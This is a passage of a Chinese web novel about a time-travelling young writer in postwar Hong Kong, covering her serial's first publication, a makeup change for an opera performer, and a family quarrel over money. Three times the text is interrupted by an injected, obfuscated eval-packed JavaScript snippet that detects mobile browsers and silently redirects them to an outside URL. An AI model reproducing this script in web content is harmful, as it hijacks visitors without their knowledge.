但是他看完这部分的《乞儿狗娃》却难得地被触动了。他刚刚甚至有个冲动,想要追问冯忠恩,郑遥岑究竟能不能找到狗娃!他从来没有做过这样的事情! 叶轻舟深呼吸了一口气,才反应过来,他刚刚看书的时候,居然丢掉了他引以为豪的专业冷静,完全是以一个读者的视角在关心着狗娃的命运。 这《乞儿狗娃》竟抓人至此! 这个时候很多名家写的小说,都挺苦大仇深的,毕竟他们国家现在的境况实在是非常不好。这样的作品好是好,但很难作为闲暇时的消遣。 言少微这本《乞儿狗娃》就不一样,她没有谈家国情怀,也没有讲什么大道理,就是聚焦于一个小小的,无人在意的乞儿。讲述在风雨飘摇中,一个普通的乞儿如何求生。 也讲一个可怜的母亲是如何牵挂自己从出生以来就不曾见过的女儿的。 这样的书,其实才是普通读者能读进去的。 以他一个编辑的专业眼光来看,这肯定是一本叫好又叫座的小说! 叶轻舟有些诧异地看了冯忠恩一眼,这金谷主人半年没有新作,原来竟是在打磨这本小说吗? 不过说起来,这本小说比之金谷主人之前那些文笔虽好,却淡如白开水的故事,还真叫人耳目一新。 “如何?这稿子你们收不收?”冯忠恩虽然这么问,但其实他一看叶轻舟的表情,就知道投稿的事情已经稳了。 “收!当然收!这稿费就按照你以前的千字八蚊……不!” 叶轻舟想想,这个稿子的质量确实是比以前好太多了,既然人家这是花了半年功夫打磨出来的精品,他还是应该稍作鼓励。 “你这本稿子水准大有提升,只要后续的稿子能保持这个水准,我给你涨稿费,千字十蚊!我给你说句实话,你之前的那部作品,我看着都睡着了,读者反应也不好,但是这一部,实在是精彩!” 叶轻舟有一种手底下的作家终于开窍了的欣慰感,不停赞着这本书,却没有发现冯忠恩的脸色已经变了。 在叶轻舟说收稿的时候,冯忠恩就打算告诉他,这书是自己一个世侄女写的。然而叶轻舟后续的话一说,冯忠恩到嘴边的话,就说不出口了。 “这书,我要换一个笔名发表。”最终,冯忠恩只是这样说。 他想,自己这不算坑了言小姐,毕竟如果直接说这是新人的作品,就算写得再好,报社也不可能给这么高的稿费的。 他做新人那会儿,也不过千字五蚊而已!而且如果不是自己的面子,叶轻舟都未必会看这个稿子! 冯忠恩想着,心里便稍微好过了一些:“新笔名就叫宿云微。对了,这部分稿子的稿费,能不能预支?我现在手里有一点紧。” 自从知道他给了言少微钱,他太太就把他手上所有的钱都没收了,他眼下连女儿的生活费都给不出来了。 叶轻舟满口答应:“可以,可以。” 一般来讲,报社会在小说刊登后,才给作者结算稿费,就算冯忠恩是合作了多年的作家也不会开这个特例。 但是他可以肯定狗娃的故事一定能给报社增加销量,他担心冯忠恩因为经济原因断更,那亏的就是他们报社了,就破个例也是可以的。 于是,叶轻舟当场支取了五百蚊港纸给冯忠恩。 言少微并不知道她的稿子已经被报社接收了,她现在又领了一个月的工资,加上冯忠恩给的那三十,手里已经宽裕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698944|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,趁着今天放假,她打算搬个家。 倒也不搬远,还是在这个唐楼内,不过是个单间,里面不再是夹三明治一样叠在一起的床位,而是摆着一个铁制的碌架床(双层床)。 巴掌大的一个单间,一样是用纸板隔出来的,一样没窗户,一样是小到转身都难。 但是!它有单独的门呀!它能保护隐私呀! 言少微他们本来就没有多少行李,一趟就搬完了所有的东西。 一关上门,两个小家伙开心得不得了,抱在一起又蹦又跳。 言少微把包丢在角落,看了看碌架床:“你们两个想睡上面还是下面?” “上面!”冯望舒说。 “成,那你们俩睡上面,我睡下面。”言少微说。 碌架床虽然也是单人床,但是跟之前他们睡的那个连翻身都困难的临时床板比,碌架床看起来就宽敞多了,至少两个娃并排是能睡下的。 这个单间还是押二付一,一个月要二十五蚊。减去之前给包租婆的十二蚊押金,言少微这次给了六十三蚊。 她又一次清空了自己的口袋。 但是这次她依旧不慌。 她每个月有固定工资,在杜临溪的提议下,她又涨工资了,下个月就能领一百蚊了!这个工资在眼下的维岛,已经算中等收入人群了。 而对于自己写的小说是什么水平,她十分清楚,这段时间她也陆续买了不少报纸来看,对比之下,她对于自己的小说更是有信心。 几十年后网文烂大街的抓人技巧,放到这个时代,就是降维打击! 只要有编辑肯看她的稿子,就一定会被她的故事抓住。接下来,她就只需要按部就班地继续存稿就好。 换了新房间的言少微睡眠质量都提升了,第二天到新戏园后台的时候,整个人神采奕奕的。 她刚走进去,就看到陆剑铮正在后台化妆,已经给自己画了个大白脸,又拿起红色油彩预备往上涂。 陆剑铮的五官很立体,哪怕刷个大白墙,依旧掩盖不了他深邃的面部轮廓。但是这一涂白,他那张脸就更显得冷冰冰了。 言少微不大喜欢他这个冰冷的样子。她认识的陆剑铮分明有一颗温暖又柔和的心。为什么要摆出这个凶凶的,冷冷的样子呢? 言少微瞥了眼他旁边,一旁的白冰河也在妆身。 他们今日在台上都是演武将,穿的都是大靠(铠甲),但是很明显,白冰河的戏服用的是更好的料子,上面还缀了满身的胶片。 这也是时下流行的——将染成各种颜色的塑料片钉缀在戏服上,一上了台胶片就到处乱反光,吸引观众的目光。 至于服装不统一的问题,放在后世的舞台是不敢想象的,但是现在,大家都不大重视这个问题。甚至有大佬倌同一个戏,第一次上场穿的现代装,第二次上场又换成了古装。观众也没吵着要回水(退票)。 但是白冰河穿得这么熠熠发光,就衬得陆剑铮灰扑扑的。 就这么一个场景,网文大佬言少微已经脑补出了一个跌宕起伏的被后父恶弟欺凌的男版灰姑娘的故事了。 言少微叫自己编的故事虐得心肝疼,忙把这个故事丢在了脑后,这一丢,脑中忽然冒出一个念头来。 她的嘴角止不住地勾起来,露出一个深深的酒窝,她走过去跟陆剑铮讲:“铮哥!我帮你画吧!” 19. 妙手点睛 言少微一直想吐槽,这个时候的戏妆是真的很粗糙,众艺人其实也没有什么上妆的技巧,更没人有意识根据自己的脸型去调整妆容,出来的效果跟后世人们所熟悉的精致的妆面比,真的差远了。 也就是陆剑铮底子好,能撑住,饶是如此,他平日给自己上的妆也无法表现出他最好的容貌状态。 她早就想自己上手给陆剑铮化妆了。 言少微的眼睛大大的,当她想到什么有意思的主意时,两只大眼睛便会闪着熠熠的光。 那光似乎带着一种魔力,让陆剑铮忍不住想要呵护这份明亮。 于是,在陆剑铮脑子还没反应过来的时候,他已经将手中的勾面笔递给了言少微,并且还往后面坐了一点,给言少微腾出了发挥的空间。 言少微挡在了镜子前,陆剑铮便只好闭上了眼睛,这一闭上,他就没有看到言少微那双大眼睛眯了眯,眼底闪过一丝狡黠的光。 与此同时,白千声在休息室中跟坐舱讨论事情。 “班主,这次的台期如果你要少唱几场的话,谁来顶你的位置呢?”骆清问。 如果只是几场戏,骆清作为戏班的二把手,完全可以自己安排了,不用问白千声的意见。 但他们两个都心知肚明,白千声最近的状态很不好,毕竟他也是奔五十的人了,气力肯定是不能跟二十多的时候比了。 比如他一向引以为傲的霸腔,已经很长时间唱不上去了。如果一直调整不好,那他就只能如掀浪所说,要准备退下来了。 这时候选出来顶他位置的,就是戏班日后要重点培养的接班人了。 白千声没有答话,而是反问:“你看呢?” “剧团里能唱文武生的,除了阿铮就是冰河了……”骆清露出纠结的表情,“……他们俩都不错。” 但是一场戏只能有一个正印文武生,剧团将来的主心骨也只能有一个。 “手心也是肉,手背也是肉,”白千声叹口气,“叫我如何选呢?” “不如让观众选吧?”骆清想到了一个主意,“就看今日这场,看看谁得到的叫好多,如何?” 白千声点点头:“这倒是个好办法。” 外间化妆台边,言少微放下油彩,满意地拍拍手:“好啦!” 陆剑铮回过神来,要去照镜子,却被言少微拦住:“诶!我的手艺你就放心吧!快换衣服吧,要来不及了。” 自从那晚他们彻夜聊戏之后,陆剑铮已经把言少微当成了行家,对她十分信任,此时听她如此说,也没多想,就去换上了戏服,戏服刚换好,虎度门那边就叫准备上场了。 陆剑铮不敢耽搁,拿了道具就过去了。 陆剑铮没看到言少微画了什么,一旁的白冰河却是看得一清二楚。 他勾了勾唇角,心中冷笑:就是个傻佬,让个外行给自己画脸,还敢直接上场!等上台了就知道丢人了! 开场之后,白千声同骆清坐在台下包厢。 “他们上场了!” 白千声靠在椅子上,也不知在想什么,听见骆清的话,才收回思绪,抬头去看台上。 今日台上演的是一场两军对垒的戏,白冰河同陆剑铮在台上跳大架,所谓跳大架,近似京剧当中的起霸,用于武将或者英雄人物出场时的功架展示。 白千声第一眼就被身上点缀着无数胶片的白冰河吸引了。 然后他就被胶片反射的五光十色的灯光给闪得眼睛疼。 如果白冰河去请教一下言少微就会知道,用胶片点缀戏服这种风潮,之所以在后世被淘汰,那是有原因的。 胶片随着演员的动作闪光,实在是太晃眼睛了! 白千声下意识挪开了视线,这一挪就挪到了陆剑铮的身上。 这一看,他就愣住了。 陆剑铮演武将的时候,额头一般都是涂白了事,但是现在他的额头上画了一个大大的火焰状的红纹。 陆剑铮原本的妆面威武中透着冷冽,有一种拒人于千里之外的感觉,但是因为这一撮火焰,竟将那冷意一把火烧了去。 不光如此,整个妆面一改之前的粗糙,明显经过了仔细的雕琢,将陆剑铮五官的优点展露无遗。而在展现优点的时候,也没有偏离角色的定位,反而更添了一份属于武将的正气。 白千声心中涌起一抹欣慰。 他向来就不满意这个徒弟板着个脸的样子,这样是没有观众缘的。可是人的性格是很难改变的,他这个徒弟有点一根筋,学不会四面逢迎,只肯把功夫花在练功上,他也没办法。 可混戏行的,没有八面玲珑的本事,又怎么可能带着一个戏班在这个乱世走下去呢? 这也是白千声一直没能下定决心将衣钵传给陆剑铮的原因。 而现在,他这个有点轴的徒弟,居然学会了根据自己的特点,扬长避短了吗? 陆剑铮无疑是很英俊的,他的扮相也是很好看的,但是往常他黑口黑面地往那里一亮相,颇似煞神附体,一瞪眼就能驱邪驱魔,让看戏的小姑娘小小子心生畏惧。 但是现在,他们不怕他了。 “喂,你看那个头顶有个火焰的将军,模样也太俊了吧!” “真是靓仔呀!” “身段也潇洒!嘿!这个拉山(粤剧程式动作)简直漂亮!” “对面那个将军也太笨重了吧。” 对面那个将军自然是白冰河。 胶片戏服自然是能吸引眼球的,但是胶片坠多了,他重啊!十分影响演员的表演,特别是白冰河还有那么多的武打动作。这动作一受牵制,根本就没有人家陆剑铮来得潇洒漂亮。 听着耳边不断的喝彩声,白千声的心中已经有了决断,等到一场演完,他起身回到了后台。 陆剑铮已经下场了,他其实早就感觉到了不对劲,今天场下的观众似乎有点太热情了,而这热情,似乎是针对自己的。 他揣着疑惑刚走出虎度门,身后白冰河就撞了他一下。 白冰河是故意的,他今天明明也牟足了劲表现,但是居然没有观众给他掌声! 从来他都是比陆剑铮更有观众缘的! 都是因为这个火苗!让观众以为他们这些都是给陆剑铮做陪衬的!就连他叔父在下面都去看陆剑铮去了! “谁许你改的妆容?祖师爷传下来的妆容,是你能乱改的吗?”白冰河的眼睛里面也有两把火。 陆剑铮被他骂得莫名其妙,他知道是妆容的问题,忙走到镜子面前一照,一时也愣住了。 白冰河一肚子火还没下去,忍不住嘲讽说:“额头上画美人尖,你以为你演的是花旦吗?” 陆剑铮因为白千声收养自己,对自己恩重如山,所以对师父这个亲侄儿一向比较礼让,从来不同他计较,当下并不打算理会对方。 言少微却不肯容忍,她本来看着台下反应好,正开心呢,却被白冰河嘲讽,心头也是火起:“铮哥扮相威武高大,什么眼神才会把他当花旦!” “你懂什么?你知道花旦妆是什么样吗?”白冰河转脸怼她。 正说着,身后传来一声斥责:“吵什么呢?” 几人回头一看,忙立着站好: “师父。” “叔父。” “班主。” “嗯,”白千声点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698945|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向陆剑铮,指指他的额头,“这谁帮你画的?” 白冰河心中大喜,叔父这是来兴师问罪了吧!这次有陆剑铮好果子吃了! 一旁的言少微心中也是一惊,她就是一时兴起,想不到会被白千声看到,她担心陆剑铮被责骂,忙举手说:“是我画的,唔好意思,我就是……” 然而她一句话没说完,就被白千声打断:“没事,挺好看的,这个妆挺衬阿铮的。做文武生呢,不要总是冷冰冰的,这样才讨喜嘛!以后就这么画吧。” 做文武生?! 言少微瞪圆了眼睛。 白冰河傻在了原地。 就是陆剑铮也有些怔愣。 “叔父,阿铮他做武行的……”白冰河提醒说。 “我知道,”白千声点头,“从明天开始,阿铮就改做文武生吧。我不上场的时候,替我的戏。” 言少微激动了,她亲眼看到了一代红伶转行当的历史性一刻! 自从穿越以来,这是她第一次见证历史! “叔父,凭什么选他?”白冰河那张还来不及卸妆的脸看起来有些狰狞,“他做武戏是比我强,可是论做文戏,他哪里比得上我!” 白千声实话实说:“就凭刚刚观众只看到他,没有看到你。” “他这是讨巧!我画个红额头,我也能鹤立鸡群!” “冰河!你的心眼太小!今天如果我是选的你,阿铮一定不会说什么。”白千声有些失望地看了侄儿一眼,丢下这句话就走了。 白冰河脸色难看地看着白千声离开,这才恶狠狠地瞪了陆剑铮一眼,怒气冲冲地去卸妆。 白冰河一走,二帮花旦花照水走过来:“微仔呀,你给铮哥改的妆实在太好看啦!你能不能帮我看看我的妆容,我也想改一改。” “是呀!是呀!太好看了!你能帮我也看看吗?”演梅香的伶人也跟过来。 “还有我!还有我!”季北鸿不甘示弱地也凑过来。 陆剑铮本来想要过来谢谢言少微,谁料就是慢了一步,言少微身边就围满了人,他想挤都挤不进去! 而就在嘤其鸣吵吵嚷嚷的时候,冯忠恩家也在吵架。 “你已经半年没有收入了,一家人全靠着我的嫁妆生活。”张俐怀里抱着一个嗷嗷待哺的孩子,满脸都是怒意。 她本来以为冯忠恩是个有才华的人,可是结了婚之后才知道,才华是没有多少的,但是才子的毛病冯忠恩是全都有的。 这半年,冯忠恩总说自己没有灵感,写不出好东西,可他也不肯放下面子,去做别的工作,整天依旧伏在案前写了又撕,撕了又写。 如果是婚前,她一定会觉得冯忠恩是个对自己有高要求的人,曹雪芹写红楼不也删删改改了十年吗?但是现在,她只觉得自己瞎了眼! “你要养女儿,你有钱吗?难道你想要饿死我跟仔仔吗?”张俐说着低头看看儿子,红了眼眶。 冯忠恩却是烧红了脸,这女人就是嫌贫爱富! 整天钱钱钱!都钻钱眼里去了! 冯忠恩飞速从银包里掏出几张纸币,狠狠地拍在张俐面前:“你以为我挣不到钱吗?” 他拍出来的是五张面额一百的港纸。 张俐果然被他震住了。她腾出一只手数一数,诧异地抬头:“五百蚊?你哪里来的?”张俐的哥哥是小学教师,一个月收入也不过是一百二十蚊而已。 刹那间,冯忠恩的心里有一丝扭曲的快意。 “我交了稿,这是预支的稿费。主编说我的小说必然能火,还给我涨了千字。” 他得意地挑了挑眉:“如何?这钱够养家了吧?” 20. 连载刊登 嘤其鸣又结束了一个台期,这几天言少微几乎累趴下了,白天要抄曲,晚上等着财叔走了,她就开始写《乞儿狗娃》,她给自己规定,每天一定要写两千字。 攒够一万字后,言少微便让冯望舒帮她送稿。 好容易有个休息日,她自己是哪里都不想走了,只想在自己的床上躺上一整天。那天连午饭都是她使唤言柳宿下楼去买的外卖。 下午冯望舒回来的时候,小姑娘兴奋到小脸通红,手里使劲挥舞着一份报纸:“大姐!大姐你的小说登出来了!” 言少微一个鲤鱼打挺就坐起来了,接过那份报纸,果然在里面看到了《乞儿狗娃》,小说自然是没有把存稿都刊登完,只是讲到狗娃死了哥哥。 “姐,我阿爸说,报社给你千字五蚊的稿费,是新人里面的最高档了。” “千字五蚊!”言少微惊喜地瞪大了眼睛。 她每天忙的时候写两千字,闲的时候把前面的文稿修改誊抄了,还能再写三千字,也就是说,她每天至少能赚十到十五蚊!一个月就是三百到四百五! 这比她做抄曲师傅赚的都多! 冯望舒又说:“不过我阿爸说,报社不是收了稿就给钱,要登出去了才结,但是报社卖我爸的面子,第一次的就预先支取出来了。” 她喜滋滋地把手里捏得皱巴巴的港纸递过来。 言少微接过来一数:“三百蚊?还多给了五十?” 冯望舒那原本兴奋的眼神就有些暗淡:“我阿爸说,那五十是我的生活费。” 冯忠恩告诉她,家里的母老虎要吃人,他暂时还不能把她接回去。虽然冯望舒其实也不舍得离开姐姐和弟弟,并不真想搬到爸爸家,但是被爸爸家排除在外,她还是有些难过的。 言少微笑眯眯地拉过冯望舒:“那就多谢冯叔给我们加餐咯!今晚咱们去吃顿好的!” 三百呢!自从穿越过来,她还从来没有拿到过这么多钱!而且这还只是个开始!言少微现在对未来充满了信心。 下一步,她要换个像冯叔那样的独立单位,再以后,她还要买下属于自己的房子! 言柳宿搞不懂姐姐们在说什么,但是吃顿好的他能听懂,当即也开心地跳起来:“好耶!吃好的!吃好的!” 言少微带着两个小家伙,去了附近一家茶楼,点了满满一桌子点心。 什么糯米鸡、叉烧包、虾饺、马拉糕等每样都得来一份,每人还点了一碗糖水。 眼下是战后,维岛的整体经济情况都不大好,来茶楼消费的,一般也就是点上两三样,还没人像言少微他们这样点这么多的。 茶楼伙计忍不住跟同伴嘀咕:“日子不过了吗?几个细路仔点这么多。” “看他们的穿着,不像是有钱的,”同伴拿搭在肩头的毛巾擦擦汗,“你盯着点,小心他们吃了就跑。” “盯着呢。我也觉得他们不一定能付得起账。” 言少微自然没听到茶楼伙计在嘀咕什么,她已经迫不及待开始吃起来了。自从穿越过来,她一开始饿肚子,后来好容易能饱腹了,吃的也不好。 她的身体一直在叫嚣,我要营养!我要油水! 现在她终于能敞开了吃了! 两个小家伙吃得比她还狼吞虎咽,就像是两头小兽被放进了肉林,吃得简直形象全无。 满满一桌子点心,就是三个成年人都未必吃得完,居然被他们三个全都吃得干干净净。 言少微摸摸肚子,笑着问两个小家伙:“吃饱了吗?不够我再点几样。” 冯望舒擦擦嘴巴:“吃饱了!” 言柳宿已经塞不下去了,犹自抱着一个凤爪舍不得撒手,听见二姐的话,忙跟着点头:“吃饱了!” 说完,他又试试探探地问:“大佬,咱们以后还能来吃吗?” 冯望舒揪他胳膊:“大佬赚钱那么辛苦!你还想天天吃!” 言柳宿的表情就垮下去,他委屈巴巴地舔舔凤爪,低声嘟哝:“我就是问问,我不想再来的。” 两个小家伙懂事得让人心疼。 言少微心中叹了一声:“没事,大佬能赚钱了,以后每次拿了稿费,咱们都来搓一顿!” 别说两个小家伙了,就是她自己也在长身体,也需要改善伙食的。 “大佬,咱们一会儿能不能去买个锅?平时我想自己做饭。”冯望舒忽然说。 她不想跟着婶子吃饭了,跟着别人吃,总得给人家一份辛苦费,如果她自己做,还能帮大姐省点钱。 “你会做饭?”言少微有些惊讶。 冯望舒认真点头:“我天天看他们炒菜,我都学会了。” “自己做也成。那咱们一会儿就去买锅碗瓢盆。”言少微想着,唐楼的住户都比较节省,一个钱掰成两半花,肉都是舍不得买的,两个小家伙跟着他们吃,这营养肯定是跟不上的,叫他们自己开火,还能吃得好点。就是她自己,也能加个菜了。 他们在这里说话,茶楼的伙计又嘀咕上了:“吃完了不走,肯定是没钱付账,想等我们不注意的时候溜走!” 话音刚落,他就看到三个孩子中最大的那个招呼人去埋单了。 他惊讶了一下,走了过去,很快又走了回来,表情变得十分古怪。 “怎么样?他们真有钱给?”同伴小声问。 那伙计亮出手中一张港纸,登时惊得那同伴眼珠子都差点瞪出来:“一百蚊!居然这么有钱!真是人不可貌相哈!”他们在茶楼打工,辛苦一个月也赚不来这个数。 “别吵,我给人找钱去。”那伙计眼下已经换了一副嘴脸。他火速拿着找的九十一蚊,双手捧着给言少微送过去,还笑得特别灿烂:“先生,欢迎下次光临呀!” 他盼望着这么壕的客人能给他一点打赏,要是把那张一蚊给他的话,他就能吃两顿肉了! 然而言少微既没有留意到酒楼伙计的这点前倨后恭,也没有要打赏的意思,她收了钱,道了句“唔该”,就领着两个小家伙买东西去了。 她准备买的东西还真不少,之前为了省钱,就是脸盆都是三个人轮流用的,现在肯定要多买几个。还有衣服,三人各自都只有一套换洗的,有时候真换不过来。 言少微带着两个小家伙在街上逛,忽然听到有人说:“这个狗娃真的太可怜了,没了哥哥以后可怎么过呀!” 言少微扭头去看,就见到一个学生模样的人手里拿着一份报纸,边走边看报,看得两眼泪汪汪的。 她的同伴凑头去看:“什么狗娃,我看看!”她看了一会儿,也忍不住红了眼眶:“阴公咯,她才那么一点大,都不知道能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698946|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能活下来。” 言少微上辈子也写了不少小说,有很多读者喜欢她的小说,她也会看读者的讨论,但那都是隔着屏幕的,眼下听到有读者在自己面前讨论剧情,那种感觉还真挺奇妙的。 不过她只是以为这一场奇遇是一场美妙的巧合,并没有想太多,不过看到这两个学生,她却忽然意识到一件事情—— 家里两个小家伙是不是该上学了? 她记得原主的父母曾经送两个女儿读书,但是冯望舒也就是认识一些常见字,自己写的小说小姑娘读起来都有些吃力,而小柳宿因为太小,根本没进过学堂。 作为新世纪穿回来的人,每个孩子都应该接受九年制义务教育的认知是深入骨髓的,言少微觉得再穷不能穷教育。再说了,作家的妹妹跟弟弟怎么可以是文盲呢? 她现在是不够钱送两个小家伙进学校,但是她完全可以先教教他们认字。等到以后手头宽裕了,再送两个小家伙去学校读书。 言少微一向是个做事雷厉风行的人,想好了就带着小的去了最近的一家书局。书局兼营文具,她买了十个本子,十根铅笔。本子三毫子一本,是那种泛黄的薄纸,有些容易破,质量不是很好,不过他们又不是要交稿,只是学写字用,并不用买太好的。 顺便她还给自己买了一支储墨的钢笔,以及一瓶墨水。 钢笔就贵多了,她没买最贵的,选了最便宜的,也要五蚊一支,墨水也花了一蚊五毫。虽然戏班给她配了一支笔,但是写自己的东西时,她还是希望用自己的笔和墨。 结账后,言少微把本子和铅笔递给冯望舒:“你和柳宿一人一半。” 冯望舒以为大姐进来买纸笔是写小说用的,现在大姐却说是给她和弟弟的,小姑娘讶声说:“我们?我们不需要呀。” “需要,”言少微说,“以后我不在家,你们俩就在家学认字。” 说这话的时候他们刚好路过书局摆放报刊的位置,一个穿着衬衫的年轻男子用京腔说:“你有没有看今日的《天星日报》?里面有一篇很精彩的小说。” 另外一个京腔男子回答他:“报上连载我都不看的,尽是当地方言,看都看不懂。” “这篇《乞儿狗娃》不是用方言写的,”那衬衫男子说着把报纸递过去,一脸的感慨,“我以前只知道难民的日子难过,却从来不知道竟会难成这个样子。” 他的同伴一开始并没有将衬衫男的话当回事,不过是随意接过报纸来看,谁知这一看之下,原本闲适的神色却也变了,他们也是逃难过来的,一路上也是尝遍了艰辛,但他们好歹是成年人,又有些家底,到底没有沦落到狗娃那么凄惨的地步。 “这世道,也不知什么时候能好。”他叹了一句,眼中流露出悲怆之色。 衬衫男显然关注点并不一样,他又将那份报纸拿了回去:“这个宿云微言辞老辣,不过寥寥一千多字,就将时代背景,狗娃的来路,目前的困境,未来的迷茫写得淋漓尽致。” 他的同伴点点头,开始客观地审视这篇连载:“你要这么说的话,还真是,通篇都没有渲染煽情,只是简简单单的白描,就能让观者感觉到狗娃失去亲人的悲伤和孤身一人在异乡的无助,足见笔者笔力惊人。这个宿云微是谁,怕不是什么新人作家吧。宿云微……以前怎么没听说过?”